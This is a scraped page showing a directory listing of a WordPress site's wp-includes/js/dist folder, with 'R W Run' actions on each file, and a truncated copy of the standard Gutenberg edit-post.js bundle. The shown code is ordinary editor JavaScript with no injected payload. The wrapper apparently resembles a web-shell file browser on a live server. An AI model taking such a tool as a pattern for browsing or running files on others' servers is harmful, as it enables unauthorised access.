at path:ROOT / wp-includes / js / dist / edit-post.js
run:R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
12.66 KB
2025-12-03 06:22:56
R W Run
9.24 KB
2025-12-03 06:22:56
R W Run
12.66 KB
2025-12-03 06:22:56
R W Run
9.18 KB
2025-12-03 06:22:56
R W Run
22.91 KB
2025-12-03 06:22:56
R W Run
12.27 KB
2025-12-03 06:22:56
R W Run
23.02 KB
2025-12-03 06:22:56
R W Run
12.74 KB
2025-12-03 06:22:56
R W Run
17.03 KB
2025-12-03 06:22:56
R W Run
12.56 KB
2024-01-31 12:59:56
R W Run
7.34 KB
2025-12-03 06:22:56
R W Run
7.15 KB
2025-12-03 06:22:56
R W Run
10.17 KB
2025-12-03 06:22:56
R W Run
8.16 KB
2024-01-31 12:59:56
R W Run
77.3 KB
2025-12-03 06:22:56
R W Run
27.26 KB
2025-12-03 06:22:56
R W Run
2.23 MB
2026-02-04 01:01:35
R W Run
878.41 KB
2026-02-04 01:01:35
R W Run
2.2 MB
2026-02-04 01:01:35
R W Run
967.08 KB
2026-02-04 01:01:35
R W Run
13.89 KB
2025-12-03 06:22:56
R W Run
9.42 KB
2024-01-31 12:59:56
R W Run
434.6 KB
2026-02-04 01:01:35
R W Run
179.81 KB
2026-02-04 01:01:35
R W Run
178.79 KB
2025-12-03 06:22:56
R W Run
55.84 KB
2025-12-03 06:22:56
R W Run
2.39 MB
2026-02-04 01:01:35
R W Run
793.68 KB
2026-02-04 01:01:35
R W Run
149.99 KB
2025-12-03 06:22:56
R W Run
42.85 KB
2025-12-03 06:22:56
R W Run
32.74 KB
2025-12-03 06:22:56
R W Run
17.47 KB
2025-12-03 06:22:56
R W Run
223.77 KB
2025-12-03 06:22:56
R W Run
75.81 KB
2025-12-03 06:22:56
R W Run
93.53 KB
2025-12-03 06:22:56
R W Run
41.3 KB
2025-12-03 06:22:56
R W Run
11.46 KB
2025-12-03 06:22:56
R W Run
8.52 KB
2024-01-31 12:59:56
R W Run
95.23 KB
2025-12-03 06:22:56
R W Run
31.93 KB
2025-12-03 06:22:56
R W Run
797.94 KB
2025-12-03 06:22:56
R W Run
772.41 KB
2025-12-03 06:22:56
R W Run
9.33 KB
2025-12-03 06:22:56
R W Run
7.75 KB
2024-01-31 12:59:56
R W Run
8.65 KB
2025-12-03 06:22:56
R W Run
7.52 KB
2024-01-31 12:59:56
R W Run
41.26 KB
2025-12-03 06:22:56
R W Run
19.38 KB
2025-12-03 06:22:56
R W Run
111.74 KB
2025-12-03 06:22:56
R W Run
49.77 KB
2025-12-03 06:22:56
R W Run
1.77 MB
2026-02-04 01:01:35
R W Run
707.33 KB
2026-02-04 01:01:35
R W Run
159.45 KB
2025-12-03 06:22:56
R W Run
64.69 KB
2025-12-03 06:22:56
R W Run
1.1 MB
2026-02-04 01:01:35
R W Run
416.87 KB
2026-02-04 01:01:35
R W Run
53.25 KB
2025-12-03 06:22:56
R W Run
18.91 KB
2025-12-03 06:22:56
R W Run
10.07 KB
2025-12-03 06:22:56
R W Run
8.05 KB
2024-01-31 12:59:56
R W Run
78.51 KB
2026-02-04 01:01:35
R W Run
33.84 KB
2026-02-04 01:01:35
R W Run
22.72 KB
2025-12-03 06:22:56
R W Run
12.61 KB
2025-12-03 06:22:56
R W Run
9.37 KB
2025-12-03 06:22:56
R W Run
7.85 KB
2025-12-03 06:22:56
R W Run
31.42 KB
2025-12-03 06:22:56
R W Run
12.27 KB
2025-12-03 06:22:56
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
10.36 KB
2025-12-03 06:22:56
R W Run
8.07 KB
2024-01-31 12:59:56
R W Run
16.3 KB
2025-12-03 06:22:56
R W Run
10.06 KB
2025-12-03 06:22:56
R W Run
14.97 KB
2025-12-03 06:22:56
R W Run
9.59 KB
2025-12-03 06:22:56
R W Run
451.81 KB
2025-12-03 06:22:56
R W Run
199.1 KB
2025-12-03 06:22:56
R W Run
37.03 KB
2025-12-03 06:22:56
R W Run
11.7 KB
2025-12-03 06:22:56
R W Run
30.42 KB
2025-12-03 06:22:56
R W Run
16.8 KB
2025-12-03 06:22:56
R W Run
12.92 KB
2025-12-03 06:22:56
R W Run
9.11 KB
2025-12-03 06:22:56
R W Run
16.97 KB
2025-12-03 06:22:56
R W Run
10.51 KB
2025-12-03 06:22:56
R W Run
67.39 KB
2025-12-03 06:22:56
R W Run
28.55 KB
2025-12-03 06:22:56
R W Run
20.73 KB
2025-12-03 06:22:56
R W Run
11.31 KB
2025-12-03 06:22:56
R W Run
23.9 KB
2025-12-03 06:22:56
R W Run
12.41 KB
2025-12-03 06:22:56
R W Run
27.34 KB
2025-12-03 06:22:56
R W Run
13.93 KB
2025-12-03 06:22:56
R W Run
12.18 KB
2025-12-03 06:22:56
R W Run
8.7 KB
2025-12-03 06:22:56
R W Run
16.97 KB
2025-12-03 06:22:56
R W Run
10.38 KB
2025-12-03 06:22:56
R W Run
12.42 KB
2025-12-03 06:22:56
R W Run
9.84 KB
2025-12-03 06:22:56
R W Run
28.3 KB
2025-12-03 06:22:56
R W Run
15.76 KB
2025-04-16 02:33:33
R W Run
25.52 KB
2025-12-03 06:22:56
R W Run
12.98 KB
2025-12-03 06:22:56
R W Run
90.6 KB
2025-12-03 06:22:56
R W Run
43.5 KB
2025-12-03 06:22:56
R W Run
59.35 KB
2025-12-03 06:22:56
R W Run
20.52 KB
2025-12-03 06:22:56
R W Run
16.76 KB
2025-12-03 06:22:56
R W Run
10.16 KB
2025-12-03 06:22:56
R W Run
16.91 KB
2025-12-03 06:22:56
R W Run
9.91 KB
2025-12-03 06:22:56
R W Run
42.2 KB
2025-12-03 06:22:56
R W Run
13 KB
2025-12-03 06:22:56
R W Run
12.94 KB
2025-12-03 06:22:56
R W Run
8.35 KB
2025-12-03 06:22:56
R W Run
27.33 KB
2025-12-03 06:22:56
R W Run
15.41 KB
2025-12-03 06:22:56
R W Run
13.37 KB
2025-12-03 06:22:56
R W Run
8.91 KB
2025-12-03 06:22:56
R W Run
14.88 KB
2025-12-03 06:22:56
R W Run
9.76 KB
2025-12-03 06:22:56
R W Run
8.68 KB
2025-12-03 06:22:56
R W Run
7.37 KB
2025-12-03 06:22:56
R W Run
54.69 KB
2025-12-03 06:22:56
R W Run
26.58 KB
2025-12-03 06:22:56
R W Run
20.33 KB
2025-12-03 06:22:56
R W Run
10.32 KB
2025-12-03 06:22:56
R W Run
error_log
📄edit-post.js
1/******/ (() => { // webpackBootstrap
2/******/ "use strict";
3/******/ // The require scope
4/******/ var __webpack_require__ = {};
5/******/
6/************************************************************************/
7/******/ /* webpack/runtime/compat get default export */
8/******/ (() => {
9/******/ // getDefaultExport function for compatibility with non-harmony modules
10/******/ __webpack_require__.n = (module) => {
11/******/ var getter = module && module.__esModule ?
12/******/ () => (module['default']) :
13/******/ () => (module);
14/******/ __webpack_require__.d(getter, { a: getter });
15/******/ return getter;
16/******/ };
17/******/ })();
18/******/
19/******/ /* webpack/runtime/define property getters */
20/******/ (() => {
21/******/ // define getter functions for harmony exports
22/******/ __webpack_require__.d = (exports, definition) => {
23/******/ for(var key in definition) {
24/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
25/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
26/******/ }
27/******/ }
28/******/ };
29/******/ })();
30/******/
31/******/ /* webpack/runtime/hasOwnProperty shorthand */
32/******/ (() => {
33/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
34/******/ })();
35/******/
36/******/ /* webpack/runtime/make namespace object */
37/******/ (() => {
38/******/ // define __esModule on exports
39/******/ __webpack_require__.r = (exports) => {
40/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
41/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
42/******/ }
43/******/ Object.defineProperty(exports, '__esModule', { value: true });
44/******/ };
45/******/ })();
46/******/
47/************************************************************************/
48var __webpack_exports__ = {};
49// ESM COMPAT FLAG
50__webpack_require__.r(__webpack_exports__);
51
52// EXPORTS
53__webpack_require__.d(__webpack_exports__, {
54 PluginBlockSettingsMenuItem: () => (/* reexport */ PluginBlockSettingsMenuItem),
55 PluginDocumentSettingPanel: () => (/* reexport */ PluginDocumentSettingPanel),
56 PluginMoreMenuItem: () => (/* reexport */ PluginMoreMenuItem),
57 PluginPostPublishPanel: () => (/* reexport */ PluginPostPublishPanel),
58 PluginPostStatusInfo: () => (/* reexport */ PluginPostStatusInfo),
59 PluginPrePublishPanel: () => (/* reexport */ PluginPrePublishPanel),
60 PluginSidebar: () => (/* reexport */ PluginSidebar),
61 PluginSidebarMoreMenuItem: () => (/* reexport */ PluginSidebarMoreMenuItem),
62 __experimentalFullscreenModeClose: () => (/* reexport */ fullscreen_mode_close_default),
63 __experimentalMainDashboardButton: () => (/* binding */ __experimentalMainDashboardButton),
64 __experimentalPluginPostExcerpt: () => (/* reexport */ __experimentalPluginPostExcerpt),
65 initializeEditor: () => (/* binding */ initializeEditor),
66 reinitializeEditor: () => (/* binding */ reinitializeEditor),
67 store: () => (/* reexport */ store)
68});
69
70// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-post/build-module/store/actions.js
71var actions_namespaceObject = {};
72__webpack_require__.r(actions_namespaceObject);
73__webpack_require__.d(actions_namespaceObject, {
74 __experimentalSetPreviewDeviceType: () => (__experimentalSetPreviewDeviceType),
75 __unstableCreateTemplate: () => (__unstableCreateTemplate),
76 closeGeneralSidebar: () => (closeGeneralSidebar),
77 closeModal: () => (closeModal),
78 closePublishSidebar: () => (closePublishSidebar),
79 hideBlockTypes: () => (hideBlockTypes),
80 initializeMetaBoxes: () => (initializeMetaBoxes),
81 metaBoxUpdatesFailure: () => (metaBoxUpdatesFailure),
82 metaBoxUpdatesSuccess: () => (metaBoxUpdatesSuccess),
83 openGeneralSidebar: () => (openGeneralSidebar),
84 openModal: () => (openModal),
85 openPublishSidebar: () => (openPublishSidebar),
86 removeEditorPanel: () => (removeEditorPanel),
87 requestMetaBoxUpdates: () => (requestMetaBoxUpdates),
88 setAvailableMetaBoxesPerLocation: () => (setAvailableMetaBoxesPerLocation),
89 setIsEditingTemplate: () => (setIsEditingTemplate),
90 setIsInserterOpened: () => (setIsInserterOpened),
91 setIsListViewOpened: () => (setIsListViewOpened),
92 showBlockTypes: () => (showBlockTypes),
93 switchEditorMode: () => (switchEditorMode),
94 toggleDistractionFree: () => (toggleDistractionFree),
95 toggleEditorPanelEnabled: () => (toggleEditorPanelEnabled),
96 toggleEditorPanelOpened: () => (toggleEditorPanelOpened),
97 toggleFeature: () => (toggleFeature),
98 toggleFullscreenMode: () => (toggleFullscreenMode),
99 togglePinnedPluginItem: () => (togglePinnedPluginItem),
100 togglePublishSidebar: () => (togglePublishSidebar),
101 updatePreferredStyleVariations: () => (updatePreferredStyleVariations)
102});
103
104// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-post/build-module/store/selectors.js
105var selectors_namespaceObject = {};
106__webpack_require__.r(selectors_namespaceObject);
107__webpack_require__.d(selectors_namespaceObject, {
108 __experimentalGetInsertionPoint: () => (__experimentalGetInsertionPoint),
109 __experimentalGetPreviewDeviceType: () => (__experimentalGetPreviewDeviceType),
110 areMetaBoxesInitialized: () => (areMetaBoxesInitialized),
111 getActiveGeneralSidebarName: () => (getActiveGeneralSidebarName),
112 getActiveMetaBoxLocations: () => (getActiveMetaBoxLocations),
113 getAllMetaBoxes: () => (getAllMetaBoxes),
114 getEditedPostTemplate: () => (getEditedPostTemplate),
115 getEditorMode: () => (getEditorMode),
116 getHiddenBlockTypes: () => (getHiddenBlockTypes),
117 getMetaBoxesPerLocation: () => (getMetaBoxesPerLocation),
118 getPreference: () => (getPreference),
119 getPreferences: () => (getPreferences),
120 hasMetaBoxes: () => (hasMetaBoxes),
121 isEditingTemplate: () => (isEditingTemplate),
122 isEditorPanelEnabled: () => (isEditorPanelEnabled),
123 isEditorPanelOpened: () => (isEditorPanelOpened),
124 isEditorPanelRemoved: () => (isEditorPanelRemoved),
125 isEditorSidebarOpened: () => (isEditorSidebarOpened),
126 isFeatureActive: () => (isFeatureActive),
127 isInserterOpened: () => (isInserterOpened),
128 isListViewOpened: () => (isListViewOpened),
129 isMetaBoxLocationActive: () => (isMetaBoxLocationActive),
130 isMetaBoxLocationVisible: () => (isMetaBoxLocationVisible),
131 isModalActive: () => (isModalActive),
132 isPluginItemPinned: () => (isPluginItemPinned),
133 isPluginSidebarOpened: () => (isPluginSidebarOpened),
134 isPublishSidebarOpened: () => (isPublishSidebarOpened),
135 isSavingMetaBoxes: () => (selectors_isSavingMetaBoxes)
136});
137
138;// external "ReactJSXRuntime"
139const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
140;// external ["wp","blocks"]
141const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
142;// external ["wp","blockLibrary"]
143const external_wp_blockLibrary_namespaceObject = window["wp"]["blockLibrary"];
144;// external ["wp","deprecated"]
145const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"];
146var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject);
147;// external ["wp","element"]
148const external_wp_element_namespaceObject = window["wp"]["element"];
149;// external ["wp","data"]
150const external_wp_data_namespaceObject = window["wp"]["data"];
151;// external ["wp","preferences"]
152const external_wp_preferences_namespaceObject = window["wp"]["preferences"];
153;// external ["wp","widgets"]
154const external_wp_widgets_namespaceObject = window["wp"]["widgets"];
155;// external ["wp","editor"]
156const external_wp_editor_namespaceObject = window["wp"]["editor"];
157;// ./node_modules/clsx/dist/clsx.mjs
158function r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
159;// ./node_modules/@wordpress/admin-ui/build-module/navigable-region/index.js
160
161
162
163const NavigableRegion = (0,external_wp_element_namespaceObject.forwardRef)(
164 ({ children, className, ariaLabel, as: Tag = "div", ...props }, ref) => {
165 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
166 Tag,
167 {
168 ref,
169 className: dist_clsx("admin-ui-navigable-region", className),
170 "aria-label": ariaLabel,
171 role: "region",
172 tabIndex: "-1",
173 ...props,
174 children
175 }
176 );
177 }
178);
179NavigableRegion.displayName = "NavigableRegion";
180var navigable_region_default = NavigableRegion;
181
182
183;// external ["wp","blockEditor"]
184const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
185;// external ["wp","plugins"]
186const external_wp_plugins_namespaceObject = window["wp"]["plugins"];
187;// external ["wp","i18n"]
188const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
189;// external ["wp","primitives"]
190const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
191;// ./node_modules/@wordpress/icons/build-module/library/chevron-up.js
192
193
194var chevron_up_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z" }) });
195
196
197;// ./node_modules/@wordpress/icons/build-module/library/chevron-down.js
198
199
200var chevron_down_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z" }) });
201
202
203;// external ["wp","notices"]
204const external_wp_notices_namespaceObject = window["wp"]["notices"];
205;// external ["wp","commands"]
206const external_wp_commands_namespaceObject = window["wp"]["commands"];
207;// external ["wp","url"]
208const external_wp_url_namespaceObject = window["wp"]["url"];
209;// external ["wp","htmlEntities"]
210const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"];
211;// external ["wp","coreData"]
212const external_wp_coreData_namespaceObject = window["wp"]["coreData"];
213;// external ["wp","components"]
214const external_wp_components_namespaceObject = window["wp"]["components"];
215;// external ["wp","compose"]
216const external_wp_compose_namespaceObject = window["wp"]["compose"];
217;// ./node_modules/@wordpress/icons/build-module/library/wordpress.js
218
219
220var wordpress_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "-2 -2 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z" }) });
221
222
223;// ./node_modules/@wordpress/icons/build-module/library/arrow-up-left.js
224
225
226var arrow_up_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M14 6H6v8h1.5V8.5L17 18l1-1-9.5-9.5H14V6Z" }) });
227
228
229;// ./node_modules/@wordpress/edit-post/build-module/components/back-button/fullscreen-mode-close.js
230
231
232
233
234
235
236
237
238
239
240const siteIconVariants = {
241 edit: {
242 clipPath: "inset(0% round 0px)"
243 },
244 hover: {
245 clipPath: "inset( 22% round 2px )"
246 },
247 tap: {
248 clipPath: "inset(0% round 0px)"
249 }
250};
251const toggleHomeIconVariants = {
252 edit: {
253 opacity: 0,
254 scale: 0.2
255 },
256 hover: {
257 opacity: 1,
258 scale: 1,
259 clipPath: "inset( 22% round 2px )"
260 }
261};
262function FullscreenModeClose({ showTooltip, icon, href, initialPost }) {
263 const { isRequestingSiteIcon, postType, siteIconUrl } = (0,external_wp_data_namespaceObject.useSelect)(
264 (select) => {
265 const { getCurrentPostType } = select(external_wp_editor_namespaceObject.store);
266 const { getEntityRecord, getPostType, isResolving } = select(external_wp_coreData_namespaceObject.store);
267 const siteData = getEntityRecord("root", "__unstableBase", void 0) || {};
268 const _postType = initialPost?.type || getCurrentPostType();
269 return {
270 isRequestingSiteIcon: isResolving("getEntityRecord", [
271 "root",
272 "__unstableBase",
273 void 0
274 ]),
275 postType: getPostType(_postType),
276 siteIconUrl: siteData.site_icon_url
277 };
278 },
279 [initialPost?.type]
280 );
281 const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
282 const transition = {
283 duration: disableMotion ? 0 : 0.2
284 };
285 if (!postType) {
286 return null;
287 }
288 let siteIconContent;
289 if (isRequestingSiteIcon && !siteIconUrl) {
290 siteIconContent = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-post-fullscreen-mode-close-site-icon__image" });
291 } else if (siteIconUrl) {
292 siteIconContent = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
293 "img",
294 {
295 className: "edit-post-fullscreen-mode-close-site-icon__image",
296 alt: (0,external_wp_i18n_namespaceObject.__)("Site Icon"),
297 src: siteIconUrl
298 }
299 );
300 } else {
301 siteIconContent = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
302 external_wp_components_namespaceObject.Icon,
303 {
304 className: "edit-post-fullscreen-mode-close-site-icon__icon",
305 icon: wordpress_default,
306 size: 48
307 }
308 );
309 }
310 const buttonIcon = icon ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { size: "36px", icon }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-post-fullscreen-mode-close-site-icon", children: siteIconContent });
311 const classes = dist_clsx("edit-post-fullscreen-mode-close", {
312 "has-icon": siteIconUrl
313 });
314 const buttonHref = href ?? (0,external_wp_url_namespaceObject.addQueryArgs)("edit.php", {
315 post_type: postType.slug
316 });
317 const buttonLabel = postType?.labels?.view_items ?? (0,external_wp_i18n_namespaceObject.__)("Back");
318 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
319 external_wp_components_namespaceObject.__unstableMotion.div,
320 {
321 className: "edit-post-fullscreen-mode-close__view-mode-toggle",
322 animate: "edit",
323 initial: "edit",
324 whileHover: "hover",
325 whileTap: "tap",
326 transition,
327 children: [
328 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
329 external_wp_components_namespaceObject.Button,
330 {
331 __next40pxDefaultSize: true,
332 className: classes,
333 href: buttonHref,
334 label: buttonLabel,
335 showTooltip,
336 tooltipPosition: "middle right",
337 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, { variants: !disableMotion && siteIconVariants, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-post-fullscreen-mode-close__view-mode-toggle-icon", children: buttonIcon }) })
338 }
339 ),
340 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
341 external_wp_components_namespaceObject.__unstableMotion.div,
342 {
343 className: dist_clsx(
344 "edit-post-fullscreen-mode-close__back-icon",
345 {
346 "has-site-icon": siteIconUrl
347 }
348 ),
349 variants: !disableMotion && toggleHomeIconVariants,
350 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: arrow_up_left_default })
351 }
352 )
353 ]
354 }
355 );
356}
357var fullscreen_mode_close_default = FullscreenModeClose;
358
359
360;// external ["wp","privateApis"]
361const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"];
362;// ./node_modules/@wordpress/edit-post/build-module/lock-unlock.js
363
364const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
365 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
366 "@wordpress/edit-post"
367);
368
369
370;// ./node_modules/@wordpress/edit-post/build-module/components/back-button/index.js
371
372
373
374
375
376const { BackButton: BackButtonFill } = unlock(external_wp_editor_namespaceObject.privateApis);
377const slideX = {
378 hidden: { x: "-100%" },
379 distractionFreeInactive: { x: 0 },
380 hover: { x: 0, transition: { type: "tween", delay: 0.2 } }
381};
382function BackButton({ initialPost }) {
383 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BackButtonFill, { children: ({ length }) => length <= 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
384 external_wp_components_namespaceObject.__unstableMotion.div,
385 {
386 variants: slideX,
387 transition: { type: "tween", delay: 0.8 },
388 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
389 fullscreen_mode_close_default,
390 {
391 showTooltip: true,
392 initialPost
393 }
394 )
395 }
396 ) });
397}
398var back_button_default = BackButton;
399
400
401;// ./node_modules/@wordpress/edit-post/build-module/store/constants.js
402const STORE_NAME = "core/edit-post";
403const VIEW_AS_LINK_SELECTOR = "#wp-admin-bar-view a";
404const VIEW_AS_PREVIEW_LINK_SELECTOR = "#wp-admin-bar-preview a";
405
406
407;// ./node_modules/@wordpress/edit-post/build-module/components/editor-initialization/listener-hooks.js
408
409
410
411
412
413const useUpdatePostLinkListener = () => {
414 const { isViewable, newPermalink } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
415 const { getPostType } = select(external_wp_coreData_namespaceObject.store);
416 const { getCurrentPost, getEditedPostAttribute } = select(external_wp_editor_namespaceObject.store);
417 const postType = getPostType(getEditedPostAttribute("type"));
418 return {
419 isViewable: postType?.viewable,
420 newPermalink: getCurrentPost().link
421 };
422 }, []);
423 const nodeToUpdateRef = (0,external_wp_element_namespaceObject.useRef)();
424 (0,external_wp_element_namespaceObject.useEffect)(() => {
425 nodeToUpdateRef.current = document.querySelector(VIEW_AS_PREVIEW_LINK_SELECTOR) || document.querySelector(VIEW_AS_LINK_SELECTOR);
426 }, []);
427 (0,external_wp_element_namespaceObject.useEffect)(() => {
428 if (!newPermalink || !nodeToUpdateRef.current) {
429 return;
430 }
431 if (!isViewable) {
432 nodeToUpdateRef.current.style.display = "none";
433 return;
434 }
435 nodeToUpdateRef.current.style.display = "";
436 nodeToUpdateRef.current.setAttribute("href", newPermalink);
437 }, [newPermalink, isViewable]);
438};
439
440
441;// ./node_modules/@wordpress/edit-post/build-module/components/editor-initialization/index.js
442
443function EditorInitialization() {
444 useUpdatePostLinkListener();
445 return null;
446}
447
448
449;// external ["wp","keyboardShortcuts"]
450const external_wp_keyboardShortcuts_namespaceObject = window["wp"]["keyboardShortcuts"];
451;// ./node_modules/@wordpress/edit-post/build-module/store/reducer.js
452
453function isSavingMetaBoxes(state = false, action) {
454 switch (action.type) {
455 case "REQUEST_META_BOX_UPDATES":
456 return true;
457 case "META_BOX_UPDATES_SUCCESS":
458 case "META_BOX_UPDATES_FAILURE":
459 return false;
460 default:
461 return state;
462 }
463}
464function mergeMetaboxes(metaboxes = [], newMetaboxes) {
465 const mergedMetaboxes = [...metaboxes];
466 for (const metabox of newMetaboxes) {
467 const existing = mergedMetaboxes.findIndex(
468 (box) => box.id === metabox.id
469 );
470 if (existing !== -1) {
471 mergedMetaboxes[existing] = metabox;
472 } else {
473 mergedMetaboxes.push(metabox);
474 }
475 }
476 return mergedMetaboxes;
477}
478function metaBoxLocations(state = {}, action) {
479 switch (action.type) {
480 case "SET_META_BOXES_PER_LOCATIONS": {
481 const newState = { ...state };
482 for (const [location, metaboxes] of Object.entries(
483 action.metaBoxesPerLocation
484 )) {
485 newState[location] = mergeMetaboxes(
486 newState[location],
487 metaboxes
488 );
489 }
490 return newState;
491 }
492 }
493 return state;
494}
495function metaBoxesInitialized(state = false, action) {
496 switch (action.type) {
497 case "META_BOXES_INITIALIZED":
498 return true;
499 }
500 return state;
501}
502const metaBoxes = (0,external_wp_data_namespaceObject.combineReducers)({
503 isSaving: isSavingMetaBoxes,
504 locations: metaBoxLocations,
505 initialized: metaBoxesInitialized
506});
507var reducer_default = (0,external_wp_data_namespaceObject.combineReducers)({
508 metaBoxes
509});
510
511
512;// external ["wp","apiFetch"]
513const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
514var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
515;// external ["wp","hooks"]
516const external_wp_hooks_namespaceObject = window["wp"]["hooks"];
517;// ./node_modules/@wordpress/edit-post/build-module/utils/meta-boxes.js
518const getMetaBoxContainer = (location) => {
519 const area = document.querySelector(
520 `.edit-post-meta-boxes-area.is-${location} .metabox-location-${location}`
521 );
522 if (area) {
523 return area;
524 }
525 return document.querySelector("#metaboxes .metabox-location-" + location);
526};
527
528
529;// ./node_modules/@wordpress/edit-post/build-module/store/actions.js
530
531
532
533
534
535
536
537
538
539
540const { interfaceStore } = unlock(external_wp_editor_namespaceObject.privateApis);
541const openGeneralSidebar = (name) => ({ registry }) => {
542 registry.dispatch(interfaceStore).enableComplementaryArea("core", name);
543};
544const closeGeneralSidebar = () => ({ registry }) => registry.dispatch(interfaceStore).disableComplementaryArea("core");
545const openModal = (name) => ({ registry }) => {
546 external_wp_deprecated_default()("select( 'core/edit-post' ).openModal( name )", {
547 since: "6.3",
548 alternative: "select( 'core/interface').openModal( name )"
549 });
550 return registry.dispatch(interfaceStore).openModal(name);
551};
552const closeModal = () => ({ registry }) => {
553 external_wp_deprecated_default()("select( 'core/edit-post' ).closeModal()", {
554 since: "6.3",
555 alternative: "select( 'core/interface').closeModal()"
556 });
557 return registry.dispatch(interfaceStore).closeModal();
558};
559const openPublishSidebar = () => ({ registry }) => {
